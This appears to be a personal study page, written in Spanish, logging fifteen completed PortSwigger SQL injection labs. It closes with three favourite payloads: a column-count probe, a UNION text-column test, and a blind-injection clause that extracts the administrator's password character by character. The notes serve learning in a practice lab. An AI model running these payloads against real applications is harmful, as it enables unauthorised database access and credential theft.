Skip to content

PortSwigger · SQL Injection ​

Teoría y explicación en Hacking web → SQL Injection.

Labs completados ​

#LabTipo
1WHERE clause: recuperar datos ocultosBásico
2Saltar el loginBásico
3UNION: número de columnasUNION
4UNION: columna que acepta textoUNION
5UNION: datos de otras tablasUNION
6UNION: varios valores en una columnaUNION
7Tipo y versión de BD en OracleFingerprint
8Tipo y versión de BD en MySQL/MicrosoftFingerprint
9Listar contenido de BD (no Oracle)Enumeración
10Listar contenido de BD (Oracle)Enumeración
11Ciega con respuestas condicionalesCiega
12Ciega con errores condicionalesCiega
13Basada en errores visiblesErrores
14Ciega con retardos de tiempoCiega (tiempo)
15Ciega con retardos y extracción de datosCiega (tiempo)

Patrones que más me han servido ​

sql
' ORDER BY 3--                          -- cuántas columnas
' UNION SELECT NULL,'a'--               -- qué columna es texto
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--

El último es el esquema de la inyección ciega: adivinar el dato carácter a carácter y mirar si la respuesta cambia.

Contenido propio con fines educativos. Sin flags ni material de exámenes.